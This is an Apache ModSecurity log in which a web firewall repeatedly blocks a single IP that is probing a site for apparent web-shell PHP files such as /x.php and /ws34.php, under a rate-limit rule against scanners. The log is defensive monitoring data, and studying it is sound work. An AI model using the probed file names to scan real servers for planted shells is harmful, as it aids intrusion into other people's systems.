[Wed Jan 07 20:17:43.600361 2026] [:error] [pid 30632:tid 30643] [client 20.192.27.55:13534] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ca4.php"] [unique_id "aV5O5-d3_LCpBJzo02cEcgAAAAc"]
[Wed Jan 07 20:17:44.829982 2026] [:error] [pid 30634:tid 30706] [client 20.192.27.55:13445] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ca4.php"] [unique_id "aV5O6ICIPBibObtmZtsBswAAANA"]
[Wed Jan 07 20:17:46.626501 2026] [:error] [pid 58330:tid 58344] [client 20.192.27.55:13479] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ca4.php"] [unique_id "aV5O6g8kGngKGK7_wnf6kgAAAQw"]
[Wed Jan 07 20:17:47.458819 2026] [:error] [pid 30634:tid 30691] [client 20.192.27.55:13513] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alex.php"] [unique_id "aV5O64CIPBibObtmZtsBtwAAAME"]
[Wed Jan 07 20:17:48.461140 2026] [:error] [pid 30632:tid 30654] [client 20.192.27.55:13551] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alex.php"] [unique_id "aV5O7Od3_LCpBJzo02cEdwAAABI"]
[Wed Jan 07 20:17:51.235643 2026] [:error] [pid 51128:tid 51132] [client 20.192.27.55:13522] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alex.php"] [unique_id "aV5O70GjtE8U88mrwuegeQAAAYI"]
[Wed Jan 07 20:17:52.498442 2026] [:error] [pid 51128:tid 51146] [client 20.192.27.55:13514] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alex.php"] [unique_id "aV5O8EGjtE8U88mrwuegegAAAZA"]
[Wed Jan 07 20:17:53.118280 2026] [:error] [pid 30632:tid 30639] [client 20.192.27.55:13494] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aV5O8ed3_LCpBJzo02cEfQAAAAM"]
[Wed Jan 07 20:17:53.956337 2026] [:error] [pid 30634:tid 30712] [client 20.192.27.55:13465] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aV5O8YCIPBibObtmZtsBuwAAANY"]
[Wed Jan 07 20:17:55.499009 2026] [:error] [pid 51128:tid 51139] [client 20.192.27.55:13461] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aV5O80GjtE8U88mrwuegfAAAAYk"]
[Wed Jan 07 20:17:56.391250 2026] [:error] [pid 58330:tid 58347] [client 20.192.27.55:13532] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aV5O9A8kGngKGK7_wnf6mQAAAQ8"]
[Wed Jan 07 20:17:57.649058 2026] [:error] [pid 30633:tid 30669] [client 20.192.27.55:13530] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bu8.php"] [unique_id "aV5O9fZiVWlF7303nMiq4AAAAEY"]
[Wed Jan 07 20:17:58.150234 2026] [:error] [pid 58330:tid 58337] [client 20.192.27.55:13448] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bu8.php"] [unique_id "aV5O9g8kGngKGK7_wnf6nAAAAQU"]
[Wed Jan 07 20:17:58.537312 2026] [:error] [pid 51128:tid 51141] [client 20.192.27.55:13566] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bu8.php"] [unique_id "aV5O9kGjtE8U88mrwueggQAAAYs"]
[Wed Jan 07 20:17:59.527606 2026] [:error] [pid 30720:tid 30729] [client 20.192.27.55:13458] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bu8.php"] [unique_id "aV5O94dgcpQjqzUi9WaGDgAAAUc"]
[Wed Jan 07 20:18:00.158872 2026] [:error] [pid 51128:tid 51138] [client 20.192.27.55:13463] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aV5O-EGjtE8U88mrwueghAAAAYg"]
[Wed Jan 07 20:18:00.806461 2026] [:error] [pid 30633:tid 30665] [client 20.192.27.55:13546] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aV5O-PZiVWlF7303nMiq4QAAAEI"]
[Wed Jan 07 20:18:02.462935 2026] [:error] [pid 30633:tid 30682] [client 20.192.27.55:13454] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aV5O-vZiVWlF7303nMiq5AAAAFM"]
[Wed Jan 07 20:18:03.624844 2026] [:error] [pid 58330:tid 58354] [client 20.192.27.55:13561] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aV5O-w8kGngKGK7_wnf6oAAAARY"]
[Wed Jan 07 20:18:04.587592 2026] [:error] [pid 30633:tid 30673] [client 20.192.27.55:13519] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fresh.php"] [unique_id "aV5O_PZiVWlF7303nMiq5gAAAEo"]
[Wed Jan 07 20:18:05.557711 2026] [:error] [pid 30633:tid 30664] [client 20.192.27.55:13457] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fresh.php"] [unique_id "aV5O_fZiVWlF7303nMiq5wAAAEE"]
[Wed Jan 07 20:18:06.420361 2026] [:error] [pid 51128:tid 51150] [client 20.192.27.55:13533] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fresh.php"] [unique_id "aV5O_kGjtE8U88mrwuegiQAAAZQ"]
[Wed Jan 07 20:18:07.107726 2026] [:error] [pid 58294:tid 58315] [client 20.192.27.55:13451] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fresh.php"] [unique_id "aV5O_1fzA7c0ITpf3nEiSAAAAJM"]
[Wed Jan 07 20:18:08.142173 2026] [:error] [pid 51128:tid 51144] [client 20.192.27.55:13525] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aV5PAEGjtE8U88mrwuegiwAAAY4"]
[Wed Jan 07 20:18:09.144817 2026] [:error] [pid 51128:tid 51138] [client 20.192.27.55:13440] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aV5PAUGjtE8U88mrwuegjAAAAYg"]
[Wed Jan 07 20:18:09.943025 2026] [:error] [pid 58294:tid 58309] [client 20.192.27.55:11227] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aV5PAVfzA7c0ITpf3nEiTAAAAI0"]
[Wed Jan 07 20:18:11.072681 2026] [:error] [pid 58330:tid 58335] [client 20.192.27.55:11203] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aV5PAw8kGngKGK7_wnf6ogAAAQM"]
[Wed Jan 07 20:18:12.284769 2026] [:error] [pid 58294:tid 58317] [client 20.192.27.55:13545] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aV5PBFfzA7c0ITpf3nEiUwAAAJU"]
[Wed Jan 07 20:18:13.079351 2026] [:error] [pid 58294:tid 58316] [client 20.192.27.55:13441] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aV5PBVfzA7c0ITpf3nEiVAAAAJQ"]
[Wed Jan 07 20:18:13.753451 2026] [:error] [pid 58294:tid 58299] [client 20.192.27.55:13507] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aV5PBVfzA7c0ITpf3nEiVgAAAIM"]
[Wed Jan 07 20:18:55.881394 2026] [:error] [pid 58294:tid 58301] [client 20.192.27.55:13497] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aV5PL1fzA7c0ITpf3nEijgAAAIU"]
[Wed Jan 07 20:18:56.847049 2026] [:error] [pid 30633:tid 30672] [client 20.192.27.55:11204] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aV5PMPZiVWlF7303nMirCQAAAEk"]
[Wed Jan 07 20:18:57.347376 2026] [:error] [pid 30720:tid 30742] [client 20.192.27.55:13567] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aV5PMYdgcpQjqzUi9WaGHwAAAVQ"]
[Wed Jan 07 20:18:57.863291 2026] [:error] [pid 30720:tid 30733] [client 20.192.27.55:13484] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aV5PMYdgcpQjqzUi9WaGIQAAAUs"]
[Wed Jan 07 20:18:58.598574 2026] [:error] [pid 58330:tid 58338] [client 20.192.27.55:13459] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lanz.php"] [unique_id "aV5PMg8kGngKGK7_wnf6uwAAAQY"]
[Wed Jan 07 20:18:59.278497 2026] [:error] [pid 30633:tid 30668] [client 20.192.27.55:13560] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lanz.php"] [unique_id "aV5PM_ZiVWlF7303nMirCwAAAEU"]
[Wed Jan 07 20:18:59.668913 2026] [:error] [pid 51128:tid 51130] [client 20.192.27.55:13449] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lanz.php"] [unique_id "aV5PM0GjtE8U88mrwuegowAAAYA"]
[Wed Jan 07 20:19:00.069712 2026] [:error] [pid 30634:tid 30713] [client 20.192.27.55:13460] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lanz.php"] [unique_id "aV5PNICIPBibObtmZtsB0gAAANc"]
[Wed Jan 07 20:19:01.172080 2026] [:error] [pid 30632:tid 30646] [client 20.192.27.55:11206] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aV5PNed3_LCpBJzo02cEpAAAAAo"]
[Wed Jan 07 20:19:01.752636 2026] [:error] [pid 51128:tid 51152] [client 20.192.27.55:13556] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aV5PNUGjtE8U88mrwuegpgAAAZY"]
[Wed Jan 07 20:19:02.715158 2026] [:error] [pid 30720:tid 30726] [client 20.192.27.55:13455] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aV5PNodgcpQjqzUi9WaGIwAAAUQ"]
[Wed Jan 07 20:19:03.166268 2026] [:error] [pid 30633:tid 30685] [client 20.192.27.55:11200] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aV5PN_ZiVWlF7303nMirFgAAAFY"]
[Wed Jan 07 20:19:03.725833 2026] [:error] [pid 58330:tid 58332] [client 20.192.27.55:13471] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slsqc.php"] [unique_id "aV5PNw8kGngKGK7_wnf6vAAAAQA"]
[Wed Jan 07 20:19:04.159354 2026] [:error] [pid 58330:tid 58340] [client 20.192.27.55:13538] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slsqc.php"] [unique_id "aV5POA8kGngKGK7_wnf6vQAAAQg"]
[Wed Jan 07 20:19:04.564380 2026] [:error] [pid 30720:tid 30741] [client 20.192.27.55:13447] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slsqc.php"] [unique_id "aV5POIdgcpQjqzUi9WaGJAAAAVM"]
[Wed Jan 07 20:19:05.040638 2026] [:error] [pid 30633:tid 30680] [client 20.192.27.55:11214] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slsqc.php"] [unique_id "aV5POfZiVWlF7303nMirHgAAAFE"]
[Wed Jan 07 20:19:06.470699 2026] [:error] [pid 30632:tid 30645] [client 20.192.27.55:13480] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs8.php"] [unique_id "aV5POud3_LCpBJzo02cEuAAAAAk"]
[Wed Jan 07 20:19:07.747602 2026] [:error] [pid 30634:tid 30692] [client 20.192.27.55:11236] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs8.php"] [unique_id "aV5PO4CIPBibObtmZtsB7gAAAMI"]
[Wed Jan 07 20:19:09.067966 2026] [:error] [pid 30632:tid 30656] [client 20.192.27.55:11256] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs8.php"] [unique_id "aV5PPed3_LCpBJzo02cExgAAABQ"]
[Wed Jan 07 20:19:10.311903 2026] [:error] [pid 30632:tid 30641] [client 20.192.27.55:13444] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs8.php"] [unique_id "aV5PPud3_LCpBJzo02cE0AAAAAU"]
[Wed Jan 07 20:19:11.423399 2026] [:error] [pid 30720:tid 30740] [client 20.192.27.55:11243] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flap.php"] [unique_id "aV5PP4dgcpQjqzUi9WaGJgAAAVI"]
[Wed Jan 07 20:19:11.890041 2026] [:error] [pid 30720:tid 30738] [client 20.192.27.55:11220] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flap.php"] [unique_id "aV5PP4dgcpQjqzUi9WaGJwAAAVA"]
[Wed Jan 07 20:19:12.319078 2026] [:error] [pid 30634:tid 30712] [client 20.192.27.55:13557] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flap.php"] [unique_id "aV5PQICIPBibObtmZtsB_gAAANY"]
[Wed Jan 07 20:19:12.811001 2026] [:error] [pid 30632:tid 30647] [client 20.192.27.55:13563] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flap.php"] [unique_id "aV5PQOd3_LCpBJzo02cE2AAAAAs"]
[Wed Jan 07 20:19:13.717810 2026] [:error] [pid 51128:tid 51146] [client 20.192.27.55:11221] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws34.php"] [unique_id "aV5PQUGjtE8U88mrwuegzQAAAZA"]
[Wed Jan 07 20:19:14.602342 2026] [:error] [pid 51128:tid 51154] [client 20.192.27.55:13485] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws34.php"] [unique_id "aV5PQkGjtE8U88mrwuegzgAAAZg"]
[Wed Jan 07 20:19:15.302438 2026] [:error] [pid 30632:tid 30637] [client 20.192.27.55:13537] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws34.php"] [unique_id "aV5PQ-d3_LCpBJzo02cE2QAAAAE"]
